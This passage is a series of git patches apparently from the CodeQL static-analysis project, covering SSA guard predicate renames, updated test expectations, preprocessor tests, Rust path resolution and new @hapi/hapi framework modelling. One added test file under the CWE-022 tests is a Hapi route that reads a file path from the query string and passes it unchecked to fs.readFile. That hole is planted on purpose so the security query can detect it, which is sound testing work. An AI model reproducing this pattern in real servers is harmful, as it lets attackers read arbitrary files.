| 1 = nextPhiInput + nextPhi + nextRef and nextPhiInput = From fe1c098624420ae60ace655546d33d9773369de7 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 12:39:37 +0000 Subject: [PATCH 073/121] C#: Accept changes to `.expected` files --- .../all-platforms/standalone_resx/CompilationInfo.expected | 1 + .../all-platforms/standalone_winforms/CompilationInfo.expected | 1 + 2 files changed, 2 insertions(+) diff --git a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected index 48cca253453..ee27a1cd912 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected @@ -1,6 +1,7 @@ | All Nuget feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | +| Inherited Nuget feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | | Reachable fallback Nuget feed count | 1.0 | diff --git a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected index f87af9b7599..cf2e7f2db70 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected @@ -1,6 +1,7 @@ | All Nuget feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | +| Inherited Nuget feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | | Reachable fallback Nuget feed count | 1.0 | From d5d0274ce79944a9265a0a0b106179b01683eb5a Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 25 Mar 2025 13:43:55 +0100 Subject: [PATCH 074/121] Java/SSA: Keep proper distinction between cached stages. --- .../code/cpp/ir/dataflow/internal/SsaInternals.qll | 2 +- .../semmle/code/csharp/dataflow/internal/SsaImpl.qll | 2 +- .../semmle/code/java/dataflow/internal/SsaImpl.qll | 5 +++++ .../javascript/dataflow/internal/sharedlib/Ssa.qll | 2 +- ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll | 2 +- rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll | 2 +- shared/ssa/codeql/ssa/Ssa.qll | 11 ++++++++--- 7 files changed, 18 insertions(+), 8 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index 39d02ababfd..9cf8f8806a2 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -1007,7 +1007,7 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI } } - predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { + predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { guard.(IRGuards::IRGuardCondition).controls(bb, branch) } diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll index f1299d5ad09..420cf518e80 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1062,7 +1062,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ - predicate guardControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) { + predicate guardDirectlyControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) { exists(ConditionBlock conditionBlock, ControlFlow::SuccessorTypes::ConditionalSuccessor s | guard.getAControlFlowNode() = conditionBlock.getLastNode() and s.getValue() = branch and diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index abdd5c7176b..573f1cb51ea 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -680,6 +680,11 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu } } + /** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */ + predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) { + guard.directlyControls(bb, branch) + } + /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) { guard.controls(bb, branch) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll index c23032b3483..cb5757ab30d 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll @@ -97,7 +97,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { } pragma[inline] - predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) { + predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) { exists(js::ConditionGuardNode g | g.getTest() = guard and g.dominates(bb) and diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index 3c97fbaed89..89677990b8b 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -503,7 +503,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ - predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { + predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { Guards::guardControlsBlock(guard, bb, branch) } } diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index 2e10977a95d..43f7cf58005 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -377,7 +377,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ - predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { + predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { exists(ConditionBasicBlock conditionBlock, ConditionalSuccessor s | guard = conditionBlock.getLastNode() and s.getValue() = branch and diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 11dee792e18..644566a8169 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1493,8 +1493,13 @@ module Make Input> { predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); } + /** Holds if `guard` directly controls block `bb` upon evaluating to `branch`. */ + predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch); + /** Holds if `guard` controls block `bb` upon evaluating to `branch`. */ - predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch); + default predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) { + guardDirectlyControlsBlock(guard, bb, branch) + } /** * Holds if `WriteDefinition`s should be included as an intermediate node @@ -1578,8 +1583,8 @@ module Make Input> { phi.getSourceVariable()) and prev != input and exists(DfInput::Guard g, boolean branch | - DfInput::guardControlsBlock(g, input, branch) and - not DfInput::guardControlsBlock(g, prev, branch) + DfInput::guardDirectlyControlsBlock(g, input, branch) and + not DfInput::guardDirectlyControlsBlock(g, prev, branch) ) ) ) From 8749bdb979c054e937c350a53e429687584df992 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 25 Mar 2025 13:58:52 +0100 Subject: [PATCH 075/121] C++: Accept test changes. --- .../dataflow-tests/localFlow-ir.expected | 22 ++++++------------- 1 file changed, 7 insertions(+), 15 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected index 85ef90b127d..513c23e3c6e 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected @@ -68,31 +68,23 @@ | test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi read(t2) | | test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi(*t2) | | test.cpp:10:8:10:9 | t2 | test.cpp:13:10:13:11 | t2 | -| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) | -| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) | +| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:8:15:9 | t2 | +| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:8:15:9 | t2 | | test.cpp:11:7:11:8 | t1 | test.cpp:21:8:21:9 | t1 | | test.cpp:12:5:12:10 | ... = ... | test.cpp:13:10:13:11 | t2 | | test.cpp:12:10:12:10 | 0 | test.cpp:12:5:12:10 | ... = ... | -| test.cpp:13:5:13:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) | -| test.cpp:13:5:13:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) | -| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi read(t2) | -| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi(*t2) | -| test.cpp:15:3:15:6 | SSA phi read(t2) | test.cpp:15:8:15:9 | t2 | -| test.cpp:15:3:15:6 | SSA phi(*t2) | test.cpp:15:8:15:9 | t2 | +| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 | +| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 | | test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(*t2) | | test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(t2) | | test.cpp:17:3:17:8 | ... = ... | test.cpp:21:8:21:9 | t1 | | test.cpp:17:8:17:8 | 0 | test.cpp:17:3:17:8 | ... = ... | -| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi read(t1) | -| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi(*t1) | +| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi read(t1) | +| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi(*t1) | | test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | 0 | -| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | [input] SSA phi(*i) | +| test.cpp:23:15:23:16 | 0 | test.cpp:23:19:23:19 | SSA phi(*i) | | test.cpp:23:15:23:16 | [input] SSA phi read(*t2) | test.cpp:23:19:23:19 | SSA phi read(*t2) | -| test.cpp:23:15:23:16 | [input] SSA phi read(i) | test.cpp:23:19:23:19 | SSA phi read(i) | -| test.cpp:23:15:23:16 | [input] SSA phi read(t1) | test.cpp:23:19:23:19 | SSA phi read(t1) | | test.cpp:23:15:23:16 | [input] SSA phi read(t2) | test.cpp:23:19:23:19 | SSA phi read(t2) | -| test.cpp:23:15:23:16 | [input] SSA phi(*i) | test.cpp:23:19:23:19 | SSA phi(*i) | -| test.cpp:23:15:23:16 | [input] SSA phi(*t1) | test.cpp:23:19:23:19 | SSA phi(*t1) | | test.cpp:23:19:23:19 | SSA phi read(*t2) | test.cpp:24:10:24:11 | t2 | | test.cpp:23:19:23:19 | SSA phi read(i) | test.cpp:23:19:23:19 | i | | test.cpp:23:19:23:19 | SSA phi read(t1) | test.cpp:23:23:23:24 | t1 | From 148ffe8519a64c9bf938b21bd01aa0dce11d4684 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 26 Mar 2025 09:41:20 +0100 Subject: [PATCH 076/121] C++: accept changes after C++ extractor preprocessor fix --- .../preprocessor/preprocessor/pp.cpp | 32 +++++++++++++++++++ .../preprocessor/preproc.expected | 12 +++++++ 2 files changed, 44 insertions(+) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 5e23254781b..43944f54c27 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -161,3 +161,35 @@ BAR \ /* comment */ \ \ + + +#if/** */A/* ... */&&B +#endif + + +#if/** */ /**/ A +#endif + +#if \ +\ +A && B +#endif + + +#ifdef /* + + + +*/ FOOBAR +#warning a +#else +#warning b +#endif + + +#if /* + +//test + +*/ FOOBAR +#endif \ No newline at end of file diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index 8857f89ff8d..6d310fdf192 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -74,6 +74,18 @@ | pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOO BAR | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 12 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 166 | 1 | 166 | 22 | PreprocessorIf | A &&B | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 167 | 1 | 167 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 170 | 1 | 170 | 20 | PreprocessorIf | A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 171 | 1 | 171 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 173 | 1 | 175 | 6 | PreprocessorIf | A && B | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 176 | 1 | 176 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 179 | 1 | 183 | 9 | PreprocessorIfdef | FOOBAR | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 185 | 1 | 185 | 5 | PreprocessorElse | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 186 | 1 | 186 | 10 | PreprocessorWarning | b | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 187 | 1 | 187 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 190 | 1 | 194 | 9 | PreprocessorIf | FOOBAR | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 195 | 1 | 195 | 6 | PreprocessorEndif | N/A | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From 284df7fcf30e5920142ba73733cae5407f75ba6c Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 26 Mar 2025 11:29:34 +0100 Subject: [PATCH 077/121] Rust: Also resolve `crate` paths in non-source files --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 2128bb8e7a8..169e3c365b0 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -187,7 +187,12 @@ abstract class ItemNode extends Locatable { this = result.(ImplOrTraitItemNode).getAnItemInSelfScope() or name = "crate" and - this = result.(CrateItemNode).getASourceFile() + result = + any(CrateItemNode crate | + this = crate.getASourceFile() + or + this = crate.getModuleNode() + ) } /** Gets the location of this item. */ From 649b4e07e26e7f349d650e4afdf228375ebe9ab6 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 11:35:58 +0100 Subject: [PATCH 078/121] Added test cases for `@hapi/hapi` --- .../frameworks/hapi/src/hapihapi.js | 36 +++++++++++++++++++ .../Security/CWE-022/TaintedPath/hapi.js | 22 ++++++++++++ 2 files changed, 58 insertions(+) create mode 100644 javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js diff --git a/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js b/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js new file mode 100644 index 00000000000..45706b7a940 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/hapi/src/hapihapi.js @@ -0,0 +1,36 @@ +var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server + +var Hapi = require('@hapi/hapi'); +var server2 = new Hapi.Server(); // HTTP::Server + +function handler1(){} // HTTP::RouteHandler +server2.route({ + handler: handler1 +}); + + +server2.route({ + handler: function handler2(request, reply){ // HTTP::RouteHandler + request.response.header('HEADER1', '') // HTTP::HeaderDefinition + }}); + +server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler +}) + +function handler4(request, reply){ + request.rawPayload; + request.payload.foo; + request.query.bar; + request.url.path; + request.headers.baz; + request.state.token; +} +var route = {handler: handler4}; +server2.route(route); + +server2.cache({ segment: 'countries', expiresIn: 60*60*1000 }); + +function getHandler() { + return function (req, h){} +} +server2.route({handler: getHandler()}); diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js new file mode 100644 index 00000000000..12a61f66350 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js @@ -0,0 +1,22 @@ +const Hapi = require('@hapi/hapi'); +const fs = require('fs').promises; + +(async () => { + const server = Hapi.server({ + port: 3005, + host: 'localhost' + }); + + server.route({ + method: 'GET', + path: '/hello', + handler: async (request, h) => { + const filepath = request.query.filepath; // $ MISSING: Source + const data = await fs.readFile(filepath, 'utf8'); // $ MISSING: Alert + const firstLine = data.split('\n')[0]; + return firstLine; + } + }); + + await server.start(); +})(); From ae645e49ba345c7764d0055ae939469a52f367ef Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 11:41:11 +0100 Subject: [PATCH 079/121] Added support for `@hapi/hapi` `server`. --- .../lib/semmle/javascript/frameworks/Hapi.qll | 4 +- .../frameworks/hapi/tests.expected | 62 +++++++++++++++++++ .../CWE-022/TaintedPath/TaintedPath.expected | 6 ++ .../Security/CWE-022/TaintedPath/hapi.js | 4 +- 4 files changed, 72 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll b/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll index f1936da3a67..a6dbf40d1e0 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll @@ -11,8 +11,8 @@ module Hapi { */ class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node { ServerDefinition() { - // `server = new Hapi.Server()` - this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation() + // `server = new Hapi.Server()`, `server = Hapi.server()` + this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation() or // `server = Glue.compose(manifest, composeOptions)` this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation() diff --git a/javascript/ql/test/library-tests/frameworks/hapi/tests.expected b/javascript/ql/test/library-tests/frameworks/hapi/tests.expected index 4c752ee56a8..730bae77bf9 100644 --- a/javascript/ql/test/library-tests/frameworks/hapi/tests.expected +++ b/javascript/ql/test/library-tests/frameworks/hapi/tests.expected @@ -9,6 +9,11 @@ test_RouteSetup | src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | | src/hapiglue.js:31:1:31:20 | server2.route(route) | | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | +| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | +| src/hapihapi.js:12:1:15:7 | server2 ... }}) | +| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | +| src/hapihapi.js:29:1:29:20 | server2.route(route) | +| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | test_RequestExpr | src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } | | src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } | @@ -38,12 +43,27 @@ test_RequestExpr | src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | | src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | | src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | +| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | +| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} | test_HeaderAccess | src/hapi.js:25:3:25:21 | request.headers.baz | baz | | src/hapiglue.js:27:3:27:21 | request.headers.baz | baz | +| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz | test_ResponseExpr | src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } | | src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | test_RouteHandler | src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() | | src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() | @@ -55,9 +75,15 @@ test_RouteHandler | src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | +| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | test_HeaderDefinition | src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } | | src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | test_ServerDefinition | src/hapi.js:1:15:1:44 | new (re ... erver() | | src/hapi.js:4:15:4:31 | new Hapi.Server() | @@ -65,6 +91,8 @@ test_ServerDefinition | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | | src/hapiglue.js:43:19:43:24 | server | | src/hapiglue.js:44:45:44:51 | server_ | +| src/hapihapi.js:1:15:1:50 | new (re ... erver() | +| src/hapihapi.js:4:15:4:31 | new Hapi.Server() | test_RequestInputAccess | src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} | | src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} | @@ -80,6 +108,12 @@ test_RequestInputAccess | src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | | src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | | src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | +| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | test_RouteSetup_getServer | src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() | | src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() | @@ -91,9 +125,15 @@ test_RouteSetup_getServer | src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | | src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) | +| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | +| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() | test_HeaderDefinition_defines | src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | | | src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | | +| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | | test_RouteSetup_getARouteHandler | src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} | | src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } | @@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler | | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | | src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | 